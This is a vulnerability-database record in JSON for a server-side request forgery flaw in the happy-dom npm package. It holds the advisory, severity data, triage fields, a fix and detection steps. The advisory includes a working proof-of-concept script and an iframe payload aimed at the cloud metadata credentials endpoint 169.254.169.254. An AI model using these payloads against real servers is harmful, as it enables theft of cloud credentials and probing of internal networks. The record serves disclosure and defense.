{"id":"CVE-2026-118660","kind":"vulnerability","aliases":["CVE-2026-118660","GHSA-c8p4-j97h-3vg8"],"related":[],"title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel=\"stylesheet\">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom <= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('<html><body>stolen</body></html>');\n});\n\nsrv.listen(9995, () => {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('<html><body><iframe src=\"http://127.0.0.1:9995/iframe-ssrf\"></iframe></body></html>');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('<html><head><link rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"></head><body></body></html>');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('<html><body><iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"></iframe></body></html>');\n```\n\n## Impact\n- **Cloud credential theft** — `<iframe src=\"http://169.254.169.254/...\">` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","summary":"Happy DOM fetches the src of iframe elements and the href of link rel=stylesheet elements over real HTTP when it parses HTML, enabled by default. An attacker who controls HTML that a server parses can make the server request internal services or cloud metadata endpoints such as 169.254.169.254 and read the responses.","severity":"high","cvss":8.6,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"happy-dom","fixed":["21.0.0"],"affected":"<= 20.14.6","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cloud","cwe-918","node","package","server-side","ssr","web-scraping"],"not_affected_if":["client-side-only","no-untrusted-input","trusted-html-only"],"how_to_check":"- Run `node -e \"console.log(require('happy-dom/package.json').version)\"` in each project to get the installed `happy-dom` version.\n- Search application code for `new Window(` or `GlobalRegistrator` used on untrusted HTML, such as scraping, email rendering or SSR.\n- Check whether `disableIframePageLoading` and `disableCSSFileLoading` are set to `true` in the Window options.","fix":"- Upgrade `happy-dom` to `21.0.0` or later.\n- If upgrading is not possible, set `disableIframePageLoading: true` and `disableCSSFileLoading: true` in the Window options.\n- Block outbound requests from the parsing server to private ranges and cloud metadata addresses such as `169.254.169.254`.","status":"open","published_at":"2026-10-28T21:06:42+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","triaged_at":"2026-10-28T21:09:27+00:00","updated_at":"2026-10-28T21:09:27+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-28T21:09:27Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `happy-dom` to `21.0.0` or later.\n- If upgrading is not possible, set `disableIframePageLoading: true` and `disableCSSFileLoading: true` in the Window options.\n- Block outbound requests from the parsing server to private ranges and cloud metadata addresses such as `169.254.169.254`.","reach":"internet","title":"Happy DOM: parsing untrusted HTML makes server-side requests to attacker-chosen URLs","impact":"high","summary":"Happy DOM fetches the src of iframe elements and the href of link rel=stylesheet elements over real HTTP when it parses HTML, enabled by default. An attacker who controls HTML that a server parses can make the server request internal services or cloud metadata endpoints such as 169.254.169.254 and read the responses.","category":"package","nicknames":[],"who_cares":["node","server-side","web-scraping","ssr","cloud"],"confidence":0.85,"needs_auth":"no","worst_case":"Server fetches cloud credentials or reads internal API responses","analyst_note":"","how_to_check":"- Run `node -e \"console.log(require('happy-dom/package.json').version)\"` in each project to get the installed `happy-dom` version.\n- Search application code for `new Window(` or `GlobalRegistrator` used on untrusted HTML, such as scraping, email rendering or SSR.\n- Check whether `disableIframePageLoading` and `disableCSSFileLoading` are set to `true` in the Window options.","needs_analyst":false,"not_affected_if":["trusted-html-only","client-side-only","no-untrusted-input"],"who_is_affected":"Applications that run happy-dom on the server and parse HTML that an outside party can influence, such as web scrapers, email HTML renderers, server-side rendering or HTML-based tests fed external input. Projects that only parse trusted, fixed HTML or use happy-dom purely in client-side or unit-test contexts with no external input are unlikely to be exposed.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.000811,"input_tokens":4467,"output_tokens":728,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-118660':15A,23A '-2026':14A,22A '-918':29B '/iframe-ssrf':298C '/stylesheet-ssrf':302C '169.254.169.254':87B '20.8.9':156C '200':250C '3vg8':20A '9995':258C 'add':409C 'affect':151C,370C 'api':369C 'applic':125C 'arbitrari':105C 'attack':66B,139C,221C,237C,309C,322C,338C 'attacker-control':337C 'aw':344C 'aws/gcp/azure':353C 'behavior':114C,159C 'block':413C 'c8p4':18A 'case':376C 'chang':390C,400C,405C 'cloud':27B,82B,320C,349C,418C 'concept':218C 'configur':209C 'confirm':305C 'console.log':244C 'const':226C,230C,239C,269C,286C,325C,331C 'contain':110C 'content':252C 'content-typ':251C 'control':68B,339C 'credenti':350C 'cve':13A,21A 'cwe':28B 'data':363C 'default':64B,118C,161C,391C 'disabl':393C 'disablecssfileload':121C,177C,403C 'disableiframepageload':119C,166C,398C 'dom':2A,26A,40B,95C,129C,155C,164C,235C,263C,280C,315C,330C 'element':46B,54B,112C,150C,194C 'email':379C 'embed':148C 'enabl':62B,116C 'endpoint':84B,346C,420C 'exfiltr':364C 'extern':385C,394C 'fals':120C,122C,167C,178C,402C,407C 'fetch':41B,169C,180C,342C,352C,422C 'fix':389C 'forgeri':146C 'get':267C,284C,297C,301C 'ghsa':17A 'ghsa-c8p4-j97h-3vg8':16A 'happi':1A,39B,94C,128C,154C,163C,234C,262C,279C,314C,329C 'happy':25A 'happy-dom':24A,93C,127C,153C,162C,233C,261C,278C,313C,328C 'hit':246C,296C,300C 'href':49B,182C 'html':12A,61B,69B,109C,133C,190C,340C,380C,386C 'http':57B,102C,175C,186C,200C,227C,229C 'http.createserver':241C 'ifram':5A,45B,168C,259C 'impact':348C 'input':387C 'intern':79B,355C,359C,368C 'ip':415C 'j97h':19A 'javascript':225C,324C,397C 'latest':157C 'link':7A,51B 'load':396C 'localhost':274C,291C,336C 'maco':319C 'make':75B,97C,264C,281C 'metadata':83B,321C,345C,354C,419C 'need':215C 'network':356C 'new':271C,288C,333C 'node':30B 'node.js':317C 'opt':212C 'opt-in':211C 'output':294C 'packag':31B 'pars':10A,60B,73B,108C,131C,192C 'port':362C 'privat':414C 'probe':358C 'proof':216C 'rang':416C 'read':89B,365C 'real':56B,98C,174C,185C,196C,266C,283C 'receiv':223C,306C 'rel':52B 'render':381C 'req':242C 'req.method':247C 'req.url':248C 'request':78B,103C,145C,176C,187C,201C,224C,268C,285C,304C 'requir':228C,232C,327C 'res':243C 'res.end':255C 'res.writehead':249C 'resourc':395C 'respons':91B,366C 'scan':357C 'scenario':323C 'scrape':38B,378C 'server':33B,72B,77B,100C,136C,143C,198C,222C,238C,310C,373C 'server-sid':32B,99C,142C,197C,372C 'servic':80B,360C 'side':34B,101C,137C,144C,199C,374C 'special':208C 'specifi':206C 'src':43B,171C 'srv':240C 'srv.listen':257C 'ssr':35B,382C 'ssrf':3A,245C,260C,277C,295C,299C 'start':236C 'stolen':256C 'stylesheet':8A,53B,179C,276C 'suggest':388C 'summari':92C 'test':220C,293C,311C,383C 'text/html':254C 'theft':351C 'trigger':141C,195C,341C 'true':399C,404C 'type':253C 'untrust':11A,132C,189C 'url':106C,172C,183C,204C,273C,290C,335C,410C 'use':126C,375C 'v20.8.9':96C,316C 'v22.17.0':318C 'valid':411C 'verifi':219C 'version':152C 'via':4A,173C,184C 'vulner':158C 'web':37B,377C 'web-scrap':36B 'whatev':203C 'win':332C 'win.document.write':347C 'win1':270C 'win1.document.write':275C 'win2':287C 'win2.document.write':292C 'window':231C,272C,289C,326C,334C","nicknames":[],"mitigations":[],"who_affected":"Applications that run happy-dom on the server and parse HTML that an outside party can influence, such as web scrapers, email HTML renderers, server-side rendering or HTML-based tests fed external input. Projects that only parse trusted, fixed HTML or use happy-dom purely in client-side or unit-test contexts with no external input are unlikely to be exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-28T21:06:42+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-c8p4-j97h-3vg8","url":"https://github.com/advisories/GHSA-c8p4-j97h-3vg8","severity":"high","published_at":"2026-10-28T21:06:42+00:00","modified_at":"2026-10-28T21:06:43+00:00","first_seen_at":"2026-10-28T21:07:44+00:00","fetched_at":"2026-10-28T21:07:44+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-118660","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660","severity":null,"published_at":"2026-10-28T21:16:56+00:00","modified_at":"2026-10-28T21:16:56+00:00","first_seen_at":"2026-10-28T21:35:45+00:00","fetched_at":"2026-10-28T21:35:45+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}